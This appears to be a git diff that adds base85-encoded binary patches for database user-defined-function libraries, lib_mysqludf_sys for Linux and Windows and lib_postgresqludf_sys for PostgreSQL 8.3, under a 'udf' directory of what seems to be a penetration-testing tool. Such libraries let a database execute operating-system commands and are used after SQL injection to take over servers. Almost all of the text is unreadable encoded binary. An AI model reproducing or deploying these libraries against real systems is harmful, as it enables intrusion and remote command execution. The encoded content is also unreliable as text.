zU!0Eu`HCX@h0uS7_%Ug}AG8K~_CE8w8~VYb`5VFK5TE@_{SnYjus zp9eh${b|VypRXeli~5qPKcV`3!q*;(h9C@d`#JQ7Lys%Mx3SAtuXKcxs*h`#o6~@(tkq1w{6sMk0U5YaYz$uhLmR%-Rt2!$?E~IlOcMZu(&a6+x;m4S_}cEe-jX!0yX+A$WSk zx%W-u@{nrL(&L<{Po1HqdAG^f7UWMtqG>#Nv*|e)XM3ygy?E%IvC?c@Uv(wv%Dx7r z$gVBPq-m!AC`}8~XVsO&NBwDrFG-(rHg9jqaea9=1p9KMC_9#_^}1k><;~K1$IMZA zHcc7k*UzR;*_vB&+METsgYY#1-1Oz?E0%8Eg6cWO(}TK}a%d0PwUwT}tH(yqWSjIn z7ndFryVj;Q!KQPrA@DVIicay}&iUEOs?nj&Y4e9RcM8+=lq)@^X9m=nk2D~XUcJ>2 z>*t57UT1S>m21u0eJ#2A&XP{C+0c3Vu*%_&kf)JH)p(Hi8$&f;9W z89Nr0xoj*8i%5^a+L2yalDb2yv3bs>R|>Uq^X6bB^43#MBkU`Dum^?)`Cz}SJsVwX zbZ9Nk^y*S|IwC)a$iuZ-t&LMru$=;rR`0+{25Q*qLMu)8m6p}ot!y>@M1q9!{DJpSk!93xZ`HtH$!{Q z-dH;-R9_!_8^)7YsPd-AJ@_o^W;Ba)oTc#EwQUZq){*(MX3wrGFG0U(wRWxgljkAS zM8B;}kl*M)k7#k5w!vm<8uM6EzpYesmeiYzm+fgxz_2wAZ0zY7uf63GH-fQ;wqo~> z-;@wmy}vK>ZlO(PnjLcfMu%jEwB4xZK?z77?~@jU+?Tr-?_(|PG`5+p&d$EdVfHw$ zzdQ=8DEtmvNEs ztBNb4L}H1aTaJ8Jmy$?^Vo_JMyBf#v!$q?hzB`fjB3zwTyC%ItEM_hK4>u}+4$;Y3 zlw-aqdFS9s#ydZbP{H2@-2TUbpI+BvW6TioAoh>yZx!y2Xv!V* zCxgP>))P(kL`2DwYv=A3 z?tmIgBr$xVQ&%F;bEJ% zXtU?ockHQu;kna}y+`cBc%mKuv!E^Q*ptLVK*nGXk+KE&e-V9Y#~voKcP+4n3n5_t z(T=@G{2s>Eyp$7{0@<$|vuBAl7#GhAR;&f0$$~{4Zp(x*UZK=e2-#Kd~54OK0U~sSd-=`VWdS%kJO5g~aRt literal 0 HcmV?d00001 diff --git a/udf/mysql/linux/64/lib_mysqludf_sys.so b/udf/mysql/linux/64/lib_mysqludf_sys.so new file mode 100644 index 0000000000000000000000000000000000000000..ea31ae55dc1aad14dbdf64c5dd469e2601007617 GIT binary patch literal 8128 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

}Z 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 literal 0 HcmV?d00001 diff --git a/udf/mysql/windows/64/lib_mysqludf_sys.dll b/udf/mysql/windows/64/lib_mysqludf_sys.dll new file mode 100644 index 0000000000000000000000000000000000000000..3de734fc9f449952ac1a765c52c58434167a0d6a GIT binary patch literal 11264 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 literal 0 HcmV?d00001 diff --git a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so new file mode 100755 index 0000000000000000000000000000000000000000..30f45fd54ee599e3c63cfaeb4f9a5cd19c040208 GIT binary patch literal 5124 zcmc&&e{56N6~0akWDvk)bWKYZ0!=%rZ5Bys3oFtBiD6}B3IqZ)3$Mm`iJkfv_HzrY zFpx`^hvkix{?Tb{0)aYI0YWXC3aeO{BU7qu3oV->ZK|RnT2s<3l&-Lm@%DZ1-J7{| zWzzoHK_}FM%Aym_fwI1F*@AyTL0i8XXXyA{D4mdXf7DYhvb{}CjL*tCdb?It9}1qTcv(ADaq`0R&n))+ez<=9s%mZdg;~pv%>GIJ 